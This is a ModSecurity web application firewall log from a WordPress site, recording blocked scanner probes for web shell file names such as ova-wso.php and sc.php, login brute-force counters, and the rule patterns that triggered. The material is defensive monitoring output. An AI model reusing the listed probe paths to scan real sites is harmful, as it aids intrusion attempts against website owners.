[Sat Feb 28 07:17:48.970215 2026] [:error] [pid 22194:tid 22207] [client 20.151.113.230:49337] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kma.php"] [unique_id "aaImHH6mbajs3bzQGysf8QAAAUs"]
[Sat Feb 28 07:17:49.383357 2026] [:error] [pid 39292:tid 39316] [client 20.151.113.230:40169] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kma.php"] [unique_id "aaImHaIAO5fN7BxyqcGVlgAAANY"]
[Sat Feb 28 07:17:49.794515 2026] [:error] [pid 39292:tid 39315] [client 20.151.113.230:56292] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kma.php"] [unique_id "aaImHaIAO5fN7BxyqcGVmAAAANU"]
[Sat Feb 28 07:17:50.215512 2026] [:error] [pid 39292:tid 39297] [client 20.151.113.230:40156] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aaImHqIAO5fN7BxyqcGVnwAAAMM"]
[Sat Feb 28 07:17:50.631876 2026] [:error] [pid 39292:tid 39307] [client 20.151.113.230:61897] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aaImHqIAO5fN7BxyqcGVoQAAAM0"]
[Sat Feb 28 07:17:51.051817 2026] [:error] [pid 39292:tid 39312] [client 20.151.113.230:40191] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aaImH6IAO5fN7BxyqcGVpQAAANI"]
[Sat Feb 28 07:17:51.471878 2026] [:error] [pid 39184:tid 39232] [client 20.151.113.230:61947] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aaImH1tZF9Zd_U7easBIqgAAAE0"]
[Sat Feb 28 07:17:51.901135 2026] [:error] [pid 39185:tid 39252] [client 20.151.113.230:56276] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova-wso.php"] [unique_id "aaImHxVE-FfM89u7BQZeQwAAAIY"]
[Sat Feb 28 07:17:52.311156 2026] [:error] [pid 11791:tid 11795] [client 20.151.113.230:64882] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova-wso.php"] [unique_id "aaImIGuX5e1Q32gqxH3AuAAAAQI"]
[Sat Feb 28 07:17:52.722265 2026] [:error] [pid 39183:tid 39208] [client 20.151.113.230:61913] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova-wso.php"] [unique_id "aaImIBCf4HvhVePw3LZ5BQAAABA"]
[Sat Feb 28 07:17:53.138744 2026] [:error] [pid 39183:tid 39202] [client 20.151.113.230:40136] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova-wso.php"] [unique_id "aaImIRCf4HvhVePw3LZ5CAAAAAo"]
[Sat Feb 28 07:17:53.550386 2026] [:error] [pid 11791:tid 11797] [client 20.151.113.230:61933] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aaImIWuX5e1Q32gqxH3AvQAAAQQ"]
[Sat Feb 28 07:17:53.966568 2026] [:error] [pid 39185:tid 39261] [client 20.151.113.230:40137] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aaImIRVE-FfM89u7BQZeRwAAAI8"]
[Sat Feb 28 07:17:54.386845 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:61931] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aaImIhVE-FfM89u7BQZeSQAAAIM"]
[Sat Feb 28 07:17:54.807718 2026] [:error] [pid 39184:tid 39231] [client 20.151.113.230:48714] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aaImIltZF9Zd_U7easBIrwAAAEw"]
[Sat Feb 28 07:17:55.227812 2026] [:error] [pid 22194:tid 22201] [client 20.151.113.230:61921] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php7"] [unique_id "aaImI36mbajs3bzQGysf_AAAAUU"]
[Sat Feb 28 07:17:55.642238 2026] [:error] [pid 39292:tid 39296] [client 20.151.113.230:49908] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php7"] [unique_id "aaImI6IAO5fN7BxyqcGVqQAAAMI"]
[Sat Feb 28 07:17:56.058989 2026] [:error] [pid 22194:tid 22206] [client 20.151.113.230:49297] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php7"] [unique_id "aaImJH6mbajs3bzQGysgAQAAAUo"]
[Sat Feb 28 07:17:56.470900 2026] [:error] [pid 22194:tid 22212] [client 20.151.113.230:41335] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php7"] [unique_id "aaImJH6mbajs3bzQGysgBAAAAVA"]
[Sat Feb 28 07:17:56.882580 2026] [:error] [pid 39292:tid 39313] [client 20.151.113.230:49341] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaImJKIAO5fN7BxyqcGVrQAAANM"]
[Sat Feb 28 07:17:57.301303 2026] [:error] [pid 22194:tid 22209] [client 20.151.113.230:49299] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaImJX6mbajs3bzQGysgCQAAAU0"]
[Sat Feb 28 07:17:57.726740 2026] [:error] [pid 11791:tid 11809] [client 20.151.113.230:61904] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaImJWuX5e1Q32gqxH3AxgAAARA"]
[Sat Feb 28 07:17:58.143779 2026] [:error] [pid 22194:tid 22214] [client 20.151.113.230:47491] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaImJn6mbajs3bzQGysgDQAAAVI"]
[Sat Feb 28 07:17:58.557039 2026] [:error] [pid 11791:tid 11800] [client 20.151.113.230:47489] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php7"] [unique_id "aaImJmuX5e1Q32gqxH3AygAAAQc"]
[Sat Feb 28 07:17:58.970012 2026] [:error] [pid 39185:tid 39248] [client 20.151.113.230:49907] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php7"] [unique_id "aaImJhVE-FfM89u7BQZeTwAAAII"]
[Sat Feb 28 07:17:59.404564 2026] [:error] [pid 39184:tid 39238] [client 20.151.113.230:48758] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php7"] [unique_id "aaImJ1tZF9Zd_U7easBIsgAAAFM"]
[Sat Feb 28 07:17:59.813868 2026] [:error] [pid 39184:tid 39242] [client 20.151.113.230:56318] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php7"] [unique_id "aaImJ1tZF9Zd_U7easBItAAAAFc"]
[Sat Feb 28 07:18:00.226717 2026] [:error] [pid 39185:tid 39256] [client 20.151.113.230:41341] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55.php"] [unique_id "aaImKBVE-FfM89u7BQZeUgAAAIo"]
[Sat Feb 28 07:18:00.644343 2026] [:error] [pid 39184:tid 39223] [client 20.151.113.230:56285] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55.php"] [unique_id "aaImKFtZF9Zd_U7easBIuwAAAEQ"]
[Sat Feb 28 07:18:01.067373 2026] [:error] [pid 39184:tid 39235] [client 20.151.113.230:48754] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55.php"] [unique_id "aaImKVtZF9Zd_U7easBIvgAAAFA"]
[Sat Feb 28 07:18:01.484470 2026] [:error] [pid 39185:tid 39252] [client 20.151.113.230:40134] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55.php"] [unique_id "aaImKRVE-FfM89u7BQZeVQAAAIY"]
[Sat Feb 28 07:18:01.898440 2026] [:error] [pid 39185:tid 39267] [client 20.151.113.230:48752] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc.php"] [unique_id "aaImKRVE-FfM89u7BQZeVgAAAJU"]
[Sat Feb 28 07:18:02.308225 2026] [:error] [pid 22194:tid 22217] [client 20.151.113.230:42429] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc.php"] [unique_id "aaImKn6mbajs3bzQGysgFwAAAVU"]
[Sat Feb 28 07:18:02.716452 2026] [:error] [pid 39292:tid 39303] [client 20.151.113.230:48733] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc.php"] [unique_id "aaImKqIAO5fN7BxyqcGVxQAAAMk"]
[Sat Feb 28 07:18:03.133338 2026] [:error] [pid 22194:tid 22201] [client 20.151.113.230:49342] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc.php"] [unique_id "aaImK36mbajs3bzQGysgHgAAAUU"]
[Sat Feb 28 07:18:03.550234 2026] [:error] [pid 22194:tid 22220] [client 20.151.113.230:60965] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aaImK36mbajs3bzQGysgIQAAAVg"]
[Sat Feb 28 07:18:03.959268 2026] [:error] [pid 11791:tid 11799] [client 20.151.113.230:56301] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aaImK2uX5e1Q32gqxH3AzwAAAQY"]
[Sat Feb 28 07:18:04.393070 2026] [:error] [pid 39185:tid 39268] [client 20.151.113.230:56261] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aaImLBVE-FfM89u7BQZeWQAAAJY"]
[Sat Feb 28 07:18:04.811090 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:48755] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aaImLBVE-FfM89u7BQZeWwAAAIM"]
[Sat Feb 28 07:19:55.377749 2026] [:error] [pid 22194:tid 22217] [client 4.240.89.23:59182] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.240.89.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaImm36mbajs3bzQGyshSQAAAVU"]
[Sat Feb 28 07:43:48.721868 2026] [:error] [pid 39292:tid 39310] [client 5.135.139.120:39544] [client 5.135.139.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.135.139.120, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaIsNKIAO5fN7BxyqcGyaQAAANA"]
[Sat Feb 28 07:52:46.426119 2026] [:error] [pid 22194:tid 22203] [client 95.163.236.216:54670] [client 95.163.236.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.163.236.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaIuTn6mbajs3bzQGys7SAAAAUc"]
[Sat Feb 28 09:06:31.132655 2026] [:error] [pid 39185:tid 39261] [client 13.71.191.191:23435] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/index.php"] [unique_id "aaI_lxVE-FfM89u7BQbI0wAAAI8"]
[Sat Feb 28 09:06:56.019067 2026] [:error] [pid 39292:tid 39311] [client 13.71.191.191:23437] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/termps.php"] [unique_id "aaI_sKIAO5fN7BxyqcFj6wAAANE"]
[Sat Feb 28 09:07:26.240588 2026] [:error] [pid 11791:tid 11797] [client 13.71.191.191:23538] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/capabilities1.php"] [unique_id "aaI_zmuX5e1Q32gqxH13GgAAAQQ"]
[Sat Feb 28 09:07:45.161352 2026] [:error] [pid 22194:tid 22202] [client 13.71.191.191:23502] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/preferences/admin-ajax.php"] [unique_id "aaI_4X6mbajs3bzQGyvf0AAAAUY"]
[Sat Feb 28 09:08:00.905002 2026] [:error] [pid 39292:tid 39306] [client 13.71.191.191:23519] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/ourLB.php"] [unique_id "aaI_8KIAO5fN7BxyqcFl0AAAAMw"]
[Sat Feb 28 09:08:01.337142 2026] [:error] [pid 22194:tid 22202] [client 13.71.191.191:23488] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb2434353s/index.php"] [unique_id "aaI_8X6mbajs3bzQGyvgYwAAAUY"]
[Sat Feb 28 09:08:01.902814 2026] [:error] [pid 22194:tid 22204] [client 13.71.191.191:23524] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb2434353s/index.php"] [unique_id "aaI_8X6mbajs3bzQGyvgbQAAAUg"]
[Sat Feb 28 09:08:03.020775 2026] [:error] [pid 22194:tid 22201] [client 13.71.191.191:23545] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb2434353s/index.php"] [unique_id "aaI_836mbajs3bzQGyvggAAAAUU"]
[Sat Feb 28 09:08:04.077777 2026] [:error] [pid 11791:tid 11806] [client 13.71.191.191:23494] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb2434353s/index.php"] [unique_id "aaI_9GuX5e1Q32gqxH14cwAAAQ0"]
[Sat Feb 28 09:08:05.144477 2026] [:error] [pid 22194:tid 22206] [client 13.71.191.191:23507] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaI_9X6mbajs3bzQGyvgnAAAAUo"]
[Sat Feb 28 09:08:05.914224 2026] [:error] [pid 22194:tid 22211] [client 13.71.191.191:23431] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaI_9X6mbajs3bzQGyvgogAAAU8"]
[Sat Feb 28 09:08:06.798950 2026] [:error] [pid 22194:tid 22201] [client 13.71.191.191:23493] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaI_9n6mbajs3bzQGyvgqwAAAUU"]
[Sat Feb 28 09:08:07.517635 2026] [:error] [pid 11791:tid 11811] [client 13.71.191.191:23377] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaI_92uX5e1Q32gqxH14kwAAARI"]
[Sat Feb 28 09:08:08.284507 2026] [:error] [pid 39185:tid 39266] [client 13.71.191.191:23432] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sundax.Php"] [unique_id "aaI_-BVE-FfM89u7BQbLGQAAAJQ"]
